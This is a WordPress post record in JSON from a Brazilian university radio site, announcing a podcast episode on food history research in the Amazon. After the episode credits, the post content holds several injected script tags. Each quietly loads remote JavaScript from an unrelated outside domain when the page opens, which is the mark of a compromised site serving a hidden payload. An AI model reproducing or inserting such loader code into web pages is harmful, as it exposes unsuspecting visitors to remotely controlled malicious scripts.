{"id":16416,"date":"2025-06-23T12:06:45","date_gmt":"2025-06-23T15:06:45","guid":{"rendered":"https:\/\/radio.ufpa.br\/?p=16416"},"modified":"2025-10-21T11:46:42","modified_gmt":"2025-10-21T14:46:42","slug":"cultura-alimentar","status":"publish","type":"post","link":"https:\/\/radio.ufpa.br\/index.php\/ufpa-pesquisa\/cultura-alimentar\/","title":{"rendered":"Cultura Alimentar"},"content":{"rendered":"\n<div class=\"rwc-audio-block\" class=\"wp-block-radioweb-rwcaudioblock\"><div class=\"rwc-audio-block-header\"><span class=\"dashicon dashicons dashicons-media-audio\"><\/span><div class=\"rwc-audio-block-description\"><p>&#8220;Cultura Alimentar&#8221;<\/p><p class=\"category\">R\u00e1dio Web UFPA<\/p><p>UFPA Pesquisa<\/p><\/div><\/div><audio controls><source src=\"https:\/\/radio.ufpa.br\/wp-content\/uploads\/2025\/06\/UFPA-PESQUISA-CULTURA-ALIMENTAR-19.06.25.mp3\" type=\"audio\/mpeg\"\/><\/audio><\/div>\n\n\n\n<p><\/p>\n\n\n\n<p>Neste programa, a gente apresenta as pesquisas e os estudos de Sidiana Mac\u00eado, professora e historiadora da alimenta\u00e7\u00e3o.<\/p>\n\n\n\n<p>Sidiana estuda, pesquisa e busca conhecer mais sobre uma \u00e1rea n\u00e3o muito conhecida: a Hist\u00f3ria da Alimenta\u00e7\u00e3o, trazendo curiosidades e muitos conhecimentos, que acabaram dando origem, em 2011, ao blog \u201cDaquilo que se come\u201d, uma viagem curiosa e espetacular pela hist\u00f3ria da cultura alimentar na Amaz\u00f4nia, no Brasil e no mundo.\u00a0<\/p>\n\n\n\n<p>Em um lugar onde a gastronomia quer dizer muito mais que s\u00f3 \u201cse alimentar\u201d, a pergunta que fica \u00e9: at\u00e9 onde conhecemos o que estamos consumindo? Descubra neste epis\u00f3dio do UFPA Pesquisa.<\/p>\n\n\n\n<p><strong>FICHA T\u00c9CNICA:<br><\/strong>APRESENTA\u00c7\u00c3O, PRODU\u00c7\u00c3O E ROTEIRO: \u00c1lvaro Amaral.<br>GRAVA\u00c7\u00c3O E MONTAGEM: Jo\u00e3o Nilo e Luane Pimenta<br>SUPERVIS\u00c3O: Raissa Lennon e J\u00fassia Carvalho.<br>DIRE\u00c7\u00c3O: Prof\u00aa Dr\u00aa Rosane Steinbrenner.<\/p>\n<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = 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mais<\/a><\/p>\n","protected":false},"author":19,"featured_media":16418,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"_exactmetrics_skip_tracking":false,"_exactmetrics_sitenote_active":false,"_exactmetrics_sitenote_note":"","_exactmetrics_sitenote_category":0,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":true,"jetpack_social_options":{"image_generator_settings":{"template":"highway","enabled":false},"version":2}},"categories":[329],"tags":[],"class_list":["post-16416","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ufpa-pesquisa"],"acf":[],"yoast_head":"<!-- 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